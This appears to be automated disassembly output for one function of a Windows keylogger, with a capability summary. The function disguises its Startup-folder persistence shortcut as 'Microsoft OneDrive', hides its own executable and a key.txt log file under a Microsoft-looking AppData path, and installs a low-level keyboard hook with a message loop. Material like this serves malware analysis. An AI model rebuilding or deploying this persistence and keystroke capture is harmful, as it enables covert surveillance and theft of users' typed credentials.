Function at 0x140003330
Capabilities:
Create shortcut via ishelllink
Get file attributes
Log keystrokes via application hook
Set file attributes

Disassembly:
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140040058]
xor rax, rsp
mov qword [rbp + 0x200], rax
lea rcx, [rsp + 0x50]
call fcn.140006000
mov r8d, 0x2b
lea rdx, [0x140039a58]
mov rcx, rax
call fcn.140005750
xor r14d, r14d
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x30], r14
lea rcx, [0x140040c78]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
movups xmm0, xmmword [rax]
lea r8d, [r14 + 0xa]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
call fcn.140005450
test rax, rax
mov rax, qword [0x140040c70]
movsxd rcx, dword [rax + 4]
lea rax, [0x140040c70]
je 0x1400033f1
add rcx, rax
mov edx, 4
cmp qword [rcx + 0x48], r14
cmovne edx, r14d
jmp 0x140003408
add rcx, rax
mov edx, 6
mov eax, 2
cmp qword [rcx + 0x48], r14
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140002730
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14000344d
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003448
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003980
call fcn.14000a1b0
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r14b
cmp rdx, 0x10
jb 0x14000349d
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003498
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003980
call fcn.14000a1b0
mov qword [rsp + 0x320], rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x328], rsi
mov qword [rsp + 0x330], rdi
call fcn.1400063c0
mov rbx, rax
mov rdx, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, rdx
sub rax, rcx
cmp rax, 0x55
jb 0x140003507
lea rsi, [rcx + 0x55]
mov rdi, rbx
mov qword [rbx + 0x10], rsi
cmp rdx, 8
jb 0x1400034ea
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0xaa
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupMicrosoft_OneDrive.lnk
call fcn.14000c060
mov word [rdi + rsi*2], r14w
jmp 0x140003527
lea r9, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupMicrosoft_OneDrive.lnk
mov qword [rsp + 0x20], 0x55
mov edx, 0x55
mov rcx, rbx
call fcn.140007110
mov rbx, rax
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140003594
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000358f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003986
call fcn.14000a1b0
cmp qword [rbp - 0x48], 8
lea rbx, [rbp - 0x60]
mov r8d, 0x104
lea rdx, [rbp - 0x10]
cmovae rbx, qword [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x10]
call fcn.140010e08
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
mov qword [rsp + 0x70], r14
lea rax, [rsp + 0x70]
lea r9, [0x14002c4b0]
mov qword [rsp + 0x20], rax
lea rcx, [0x14002c4d0]
lea r8d, [rdx + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x14000366c
mov rcx, qword [rsp + 0x70]
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rsp + 0x70]
lea rdx, str.PROVA
mov rax, qword [rcx]
call qword [rax + 0x38]
mov rcx, qword [rsp + 0x70]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x78], r14
lea rdx, [0x14002c4c0]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
js 0x140003656
mov rcx, qword [rsp + 0x78]
mov r8d, 1
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov r8d, 0x104
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x10]
call fcn.140010e08
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 6
mov rcx, rbx
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x1400036bb
lea rdx, str.File_nascosto_con_successo.
lea rcx, [0x140041770]
jmp 0x1400036c9
lea rdx, str.Errore_durante_il_tentativo_di_nascondere_il_file.
lea rcx, [0x140041910]
call fcn.140006150
mov rbx, rax
mov dl, 0xa
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
call fcn.140006df0
movzx edx, ax
mov rcx, rbx
call fcn.140006c90
mov rcx, rbx
call fcn.140004a80
lea rcx, [rsp + 0x50]
call fcn.1400063c0
mov rbx, rax
mov rdx, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, rdx
sub rax, rcx
cmp rax, 0x2b
jb 0x140003747
lea rsi, [rcx + 0x2b]
mov rdi, rbx
mov qword [rbx + 0x10], rsi
cmp rdx, 8
jb 0x14000372a
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x56
lea rdx, str.AppDataLocalLowMicrosoftiexplorekey.txt
call fcn.14000c060
mov word [rdi + rsi*2], r14w
jmp 0x140003767
lea r9, str.AppDataLocalLowMicrosoftiexplorekey.txt
mov qword [rsp + 0x20], 0x2b
mov edx, 0x2b
mov rcx, rbx
call fcn.140007110
mov rbx, rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x1400037d4
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037cf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000398c
call fcn.14000a1b0
cmp qword [rbp - 0x68], 8
lea rbx, [rbp - 0x80]
cmovae rbx, qword [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 6
mov rcx, rbx
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x14000380d
lea rdx, str.File_nascosto_con_successo.
lea rcx, [0x140041770]
jmp 0x14000381b
lea rdx, str.Errore_durante_il_tentativo_di_nascondere_il_file.
lea rcx, [0x140041910]
call fcn.140006150
mov rbx, rax
mov dl, 0xa
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
call fcn.140006df0
movzx edx, ax
mov rcx, rbx
call fcn.140006c90
mov rcx, rbx
call fcn.140004a80
xor r9d, r9d
lea rdx, [0x140002f80]
xor r8d, r8d
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
xor r9d, r9d
lea rcx, [rbp - 0x40]
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x1400038aa
nop word [rax + rax]
lea rcx, [rbp - 0x40]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x40]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rbp - 0x40]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140003880
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x1400038f3
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038ee
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000397a
call fcn.14000a1b0
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r14w
cmp rdx, 8
jb 0x140003940
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000393b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000397a
call fcn.14000a1b0
mov rsi, qword [rsp + 0x328]
xor eax, eax
mov rbx, qword [rsp + 0x320]
mov rdi, qword [rsp + 0x330]
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.14000a190
mov r14, qword [rsp + 0x338]
add rsp, 0x310
pop rbp
ret
call fcn.140012a40
int3
call fcn.140012a40
int3
call fcn.140012a40
int3
call fcn.140012a40
int3